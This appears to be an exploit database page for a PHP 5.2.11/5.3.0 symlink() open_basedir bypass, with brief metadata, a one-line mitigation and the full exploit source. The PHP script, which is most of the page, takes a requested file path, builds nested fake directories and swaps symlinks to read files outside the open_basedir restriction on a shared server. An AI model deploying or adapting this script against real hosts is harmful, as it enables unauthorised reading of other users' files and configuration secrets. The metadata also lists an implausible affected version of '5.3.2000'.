PHP 5.2.11/5.3.0 symlink() open_basedir bypass

vendor:

N/A

by:

Maksymilian Arciemowicz

7.5

CVSS

HIGH

Symlink bypass

CWE

Product Name: N/A

Affected Version From: 5.2.11

Affected Version To: 5.3.2000

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

PHP 5.2.11/5.3.0 symlink() open_basedir bypass

This exploit allows an attacker to bypass the open_basedir restriction in PHP 5.2.11 and 5.3.0. It creates a symlink to a file outside the open_basedir directory, allowing the attacker to access the file.

Mitigation:

Ensure that the open_basedir restriction is properly configured and enforced.

Source

Exploit-DB raw data:

<?php
/*
PHP 5.2.11/5.3.0 symlink() open_basedir bypass 
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir="cx";
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";

echo '<PRE><img
src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit
from <a
href="http://securityreason.com/" title="Security Audit PHP">Security Audit
Lab - SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.11 5.3.0 symlink open_basedir bypass
<p>More: <a href="http://securityreason.com/">SecurityReason</a>
<p><form name="form"
action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF
"]).'" method="post"><input type="text" name="file" size="50"
value="'.htmlspecialchars($file).'"><input type="submit" name="hym"
value="Create Symlink"></form>';

if(empty($file))
exit;

if(!is_writable("."))
die("not writable directory");

$level=0;

for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}

while(1<$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a])) 
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");

@rmdir("fakesymlink");
@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file,
"symlink".$num))) break;
else $num++;

@unlink("fakesymlink");
mkdir("fakesymlink");

die('<FONT COLOR="RED">check symlink <a
href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

?>